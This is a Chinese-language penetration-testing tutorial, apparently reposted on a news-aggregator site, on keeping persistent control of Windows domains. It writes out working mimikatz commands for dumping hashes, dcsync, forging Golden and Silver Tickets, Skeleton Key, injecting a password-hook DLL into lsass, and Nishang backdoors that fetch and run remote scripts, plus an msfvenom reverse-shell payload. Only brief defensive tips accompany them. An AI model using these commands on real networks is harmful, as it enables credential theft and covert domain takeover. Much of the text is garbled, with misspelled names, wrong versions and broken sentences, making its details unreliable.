内网渗透基石篇—权限维持分析

一、DSRM域后门

DSRM(目录服务恢复模式,目录服务恢复模式)是Windows域环境中域控制器的安全模式启动选项。每个域控制器占用一个本地账户账户(也就是DSRM账户)。DSRM的用途是:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使环境的运行恢复正常。修改方法。修改DSRM密码的基本原理是在DC上运行ntdsutil命令行工具。在渗透测试中,可以使用DSRM域对域环境进行持久化操作。如果域控制器的系统版本为Windows Server 2008,需要安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步。在Windows Server 2008以后版本的系统中无需安装此补丁方法。如果域控制器的系统版本为Windows Server 2003则不能进行使用我们知道,域控制器本地管理员和密码(与管理员账号和密码不同)。DSRM 帐号可以作为一个域控制器的本地管理品用户,通过网络连接控制器,驯服控制域控制器。

1.修改DSRM密码的方法

NTDSUTIL: 打开ndsuilset dsrm password:设置DSRM的密码。reset pssword on server null:在当前域控制器上恢复DSRM密码。<PASSWORD>:修改后的密码。q(第1次):退出DSRM密码设置模式。q(第2次):退出ntdsutil

2.如果域控制器的系统版本为 Windows Server 208 已安装 KB961320 及以上,可以将 DSRM 密码同步为已存在的域密码。常用命令说明如下。

NTDSUTIL: 打开ntdsutil。SET DSRM PASSWORD:设置DSRM的密码。SYNC FROM DOMAIN ACCOUNT domainusername:使DSRM的密码和指定域用户的密码同步。q(第1次):退出DSRM密码设置模式。q(第2次):退出ntdsutil。

1.在域控上运行mimikatz,分别读取域用户的NTLM hash和本地管理员的NTLM hash8.3.2 SSP维持域控权限

读域用户

privilege::debuglsadump::lsa /patch /name:lrbtgt

2.读取本地管理员(DSRM)

token::elevatelsadump::sam

3.将DSRM的哈希值与域用户同步验证下是否同步成功

修改DSRM登录方式

注册表路径是HKLM\System\CurrentControlSet\Control\Lsa\DSRMAdminLogonBehavior(系统默认是不存在的,请手动添加),其可能的值如下:

0(默认值):只有当 DC 重启进入 DSRM 时,你才能使用 DSRM 管理员帐户。

1:只有当本地AD DS服务停止时,你才能使用DSRM管理员帐户登录。

2:无论哪一种情况,你都可以使用 DSRM 管理员帐户登录。(不推荐,因为密码策略并不会应用到 DSRM 的管理员帐户)

我们需要修改其值为2

可以在powershell下执行

new-itemproperty "hklm:\System\CurrentControlSet\Control\Lsa\" -name "DSRMAdminLogonBehavior" -value 2 -propertyType DWORD

4.使用DSRM远程登录

蔚蓝资讯网

在域内机器已以管理员身份运行mimikatz,执行如下命令

privilege::debugsekurlsa::pth /domain:domainname /user:username /ntlm:ntlmhash

定期检查注册表中用于控制DSRM登录方式的键值hklm:\system\currentcontrolset\control\lsa\确认该键值为1,或者删除键值。定期修改城中所有城控制器的DSRM账号。当设置活动目录服务还原模式的管理员密码会被记录在 4794 日志中。

SSP(Security Support Provider)是Windows操作系统安全机制的提供者。简单地说,SSP是个DlL文件,主要支持Windows操作系统的身份认证功能,例如NTLM、Ketberos、Negotiare。Seure Channel (Schannel )、Digest、Credental (CredSSP )。SSPI (Security Support Provider Interfce.安全支持提供程序接口)是Windows在执行认证操作时使用的API接口。可以说,SSPI是SSP的API接口。如果获得了网络中目标机器的系统,可以使用该方法进行持久权限化操作。其主要原理是:LSA(本地安全机构)用于验证身份;lsass.exe 是 Windows 的系统进程,用于本地安全和登录策略;在系统启动时,SSP 将被加载到 lsass.exe 进程中。但是,破坏攻击者 LSA 进行了扩展,自定义了恶意的 DLL文件,在系统启动时将其加载到LSASS.EXE进程中,就能够获取的Lsass.exe进程中的明文密码。这样,即使用户更改密码并重新登录,攻击者依然可以获取该账号的新密码,可以针对这一点采取相应的防御措施。

1.使用mimikatz打开

privilege::debug

misc::memssp

2.登录当前用户日志。输入用户名和密码后登录,获取明文密码,密码存储在文件。C:\Windows\System32\mimilsa.log中。

实验环境:server2007

域主机 win7

1.添加ssp

将mimilib.dll复制到域控c:\windows\system32下

修改域控注册表位置:

3.在Security Packages下添加mimilib.dll

域控重启后在c:\windows\system32可看到新生成的文件kiwissp.log,里面含用户名和密码。

每个用户拥有自己的 SID。SID 的作用主要是追踪安全主体控制用户连接资源时的访问权限。SID 历史是在迁移过程中需要使用的一个属性。

如果将域中域的用户迁移到 B 域中,那么在 B域中新建的 SID 会唤醒一个用户影响迁移后用户的权限,导致迁移后无法访问用户本来的资源。SID的作用是在域迁移中过程域用户的访问,即如果迁移后用户的SID改变了系统,保持迁移其原始的SID到迁移后的用户的SID属性中,使迁移后的SID用户的历史用户或者保持原有权限、能够访问其原来可以访问的资源。使用mimikaz,可以将SID历史属性添加到域中任意用户的SID历史属性中。在渗透测试中,如果获得了管理员权限(等同于)域管理员的权限)。就可以将 SIDHisoy 实现为持久化的方法。

将Administrator的SID添加到恶意用户测试的SID History属性中。使用powershell查看用户的SID History属性

利用前提:

1. 当前域与其他域有信任关系。

2. 开启SID History,与其中任意一个开启SID History信任,即可使用下面的方法

Golden Ticket介绍

在渗透测试中,如果发现系统中存在恶意行为,应及时更改域管理员密码,对受控制的机器进行断网处理,然后进行日志分析取证。然而,攻击者往往会留下多条进入内网的通道,如果我们忘记将krbtgt账号重置,攻击者就可以很快拿到域控制器权限。

krbtgt是KDC服务使用的账号,属于Domain Admins组,在域环境中,每个用户账号的票据都是由krbtgt生成的,如果攻击者拿到了krbtgt的NYLM Hash或者AES-256值,就可以伪造域内任意用户的身份,并以该用户的身份访问其他服务。

攻击者在使用域的Golden Ticket(黄金票据)进行票据攻击时,通常需要掌握以下信息:

需要伪造的域管理员用户名

完整的域名

域SID

krbtgt的NTLM Hash或AES-256值

使用Golden Ticket伪造的用户可以是任意用户(即使这个用户不存在),因为TGT的加密是由krbtgt完成的,所以,只要TGT被krbtgt账户和密码正确的加密,那么任意KDC使用krbtgt将TGT解密后,TGT的所有信息都是可信的。

(1)首先获取krbtgt的NTLM Hash:

在域控中输入如下命令获取krbtgt账号的NTLM Hash:

mimikatzlsadump:dcsync/domain:pinger.testlab/user:krbtgt

(2)获取域SID:

直接输入如下命令,即可查看域内所有账号的SID,去掉末尾的就是域的SID:

(3)获取域管账号:

输入如下命令获取:

(4)获取域名:

直接输入ipconfig /all就可以获取了;

(5)使用mimikatz生成黄金票据:

然后在低权的机器上使用mimikatz生成黄金票据:

mimikatz kerberos::golden /admin:Administrator /domain:pinger.testlab /sid:S-1-5-21-1981736034-2187932818-3398635097 /krbtgt:fca1ae5638a702c6e86dda451664a858 /ticket:Administrator.kiribi

6.使用mimikatz导入票据进行PTT了:

7.最后在通过查看DC的C盘验证下权限:

dir \\dc\c$

管理员通常会修改域管理员的密码,但有时会忘记将krbtgt密码一并重置,所以,要想防止Golden Ticket攻击,就需要将krbtgt密码重置两次。

Silver Ticket(白银票据)不同于Golden Ticket。Silver Ticket的利用过程是伪造TGS,通过已知授权服务密码生成一张可以访问该服务的TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志。而Golden Ticket在利用过程中需要由KDC颁发TGT,并且在生成伪造的TGT的20分钟内,TGS不会对该TGT真伪进行校验。

Silver Ticket依赖于服务账号的密码散列值,这不同于Golden Ticket利用需要使用krbtgt账号密码的散列值,因此更加隐蔽。

Golden Ticket使用krbtgt账号的密码散列值,利用伪造最高权限的TGT向KDC要求颁发拥有任意服务访问权限的票据,从而获得域控制器权限。而Silver Ticket会通过相应的账号服务来伪造TGS,范围有限,只能获得对应的权限服务。Golden Ticket是由krbtgt账号加密的,而Silver Ticket是由特定的服务账号加密的。

攻击者在使用Silver Ticket对内网进行攻击时,需要掌握以下信息:

域名

域SID

目标服务器的FQDN

可利用的服务

服务账号的NTLM Hash

需要伪造的用户名

(1)首先获取服务账号的NTLM Hash:

在域控中输入如下命令:

(2)使用mimikatz生成白银票据:

然后使用mimikatz生成CIFS服务的白银票据并导入内存:

mimikatz kerberos::golden /domain:pinger.testlab /sid:S-1-5-21-1981736034-2187932818-3398635097 /target:dc.pinger.testlab /service:cifs /rc4:635260b8259e41feed71f6f0b0fd0f64 /user:Administrator /ptt

(3).成功拿到目录。

在内网中安装杀毒软件,及时更新系统补丁

使用组策略在域中进行相应的设置,现值mimikatz在内网中的使用

计算机的账号密码默认30天清理一次,检查该设置是否生效

(1)在域控中直接执行mimikatz,如下命令所示:

mimikatz misc::skeleton

(2)然后直接在低权限的机器上尝试用万能密码登录:

万能密码为[mimikatz],使用SMB登录。

shell net use \\dc\ipc$ "mimikatz" /user:pinger.testlab\Administrator

使用Skeleton Key(万能密码),可以对域内权限进行持久化操作。

域管理员要设置强口令,确保恶意代码不会在域控制器内执行

在所有域用户中启动双因子认证,例如智能卡认证

启动应用程序的白名单,以限制mimakatz在域控制器中的运行

Hook PasswordChangeNotify的作用是当用户修改密码后在系统中进行同步。攻击者可以利用该功能获取用户修改密码时输入的密码明文。

使用Hook PasswordChangeNotify不需要重启系统、不会在系统磁盘上留下DLL文件、不需要修改注册表。如果Hook PasswordChangeNotify被攻击者利用,网络管理员是很难检测到的。所以,在日常的网络维护工作中,需要对PowerShell进行严格检视,并启用约束语言模式,对Hook PasswordChangeNotify进行防御。

1.实验操作

分别输人如下命令,使用Invoke RefletivePEIniection.psl将HookPasswordChange.dl注入内存,在目标系统中启动管理员权限的PowerShell

Import-Module .\Invoke-ReflectivePEInjection.psl

Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass

修改用户密码

net user administrator 123

查看c:\windows\temp\passwords.txt可以看到修改后的密码。

Nishang是基于Porsthel的渗透测试工具,集成了很多框架、脚本及各种 Payload在Nishang环境中对一些脚本后门进行分析。

1. HTTP-Backdoor脚本

此脚本可以帮助攻击者在目标主机上下载和执行Powershell脚本,接收来自第三方网站的指令,在内存中执行PowerShell脚本,其语法如下。

TTP-Backdoor -CheckURL http://-PayloadURL http:// -MagicString start -StopString stopCheckURL:给出一个URL地址。如果该地址存在,Magistring中的值就会执行Payload,下载并运行攻击者的脚本。-PayloadURL: 给出需要下载的PowerShell脚本的地址。-StopString: 判断是否存在CheckURL返回的字符串,如果存在则停止执行。

2.Add-ScrnSaveBackdoor

Add ScrnSaveBackdoor脚本可以帮助攻击者利用Windows的屏幕保护程序来安插一个隐藏的后门Add-ScrnSaveBackdoor -Payload "powershe1l.exe -ExecutionPolicy Bypass -ncprofile -noexit -c Get-Process"##执行PayloadAdd-ScrnsaveBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psm -Arguments HTTP-Backdoor http://... start123 stopthis#在PowerShell中执行一个HTTP-Backdoor脚本Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/code exec.psl -PayloadURL:指定需要下载的脚本的地址。Arguments:指定需要执行的函数及相关参数。攻击者也会使用msfvenom生成一个PowerShell, 然后执行如下命令,返回一个meterpreter。msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.254.226 -f powershell

3.Execute- -OnTime

Execute-OnTime脚本用于在目标主机上指定PowerShell脚本的执行时间,与HTTP-Backdoor脚本的使用方法相似,只不过增加了定时功能,其语法如下。PS > Execute-OnTime -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get- Information -Time 23:21 -CheckURL http:/ /pastebin. com/ raw .php?i=zhyf8rwh一 Stopstring stoppayloadPayloadURL:指定下载的脚本的地址。-Arguments: 指定要执行的函数名。-Time: 设置脚本执行的时间,例如[-Time 23:21]。-CheckURL:检测一个指定的URL里是否存在StopString给出的字符串,如果存在就停止执行。

4. Invoke- ADSBackdoor

Invoke-ADSBackdoor脚本能够在NTFS数据流中留下一个 永久性的后门。这种方法的威胁是很大的,因为其留下的后门是永久性的,且不容易被发现。

Invoke-ADSBackdoor脚本用于向ADS注入代码并以普通用户权限运行。

Invoke-ADSBackdoor -PayloadURL http://192.168.12.110/test.ps1

后门是权限维持的重要一步,要想持续控制,就得做一些后门上去,后门是绕过安全控制获取对程序或系统访问权限的方法。此篇文章主要介绍一些常用的生成后门的方式,以及如何进行防御后门。

精彩推荐

百度未收录

未经允许不得转载:蔚蓝资讯网 » 内网渗透基石篇—权限维持分析

赞 (0) 打赏

评论 0

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址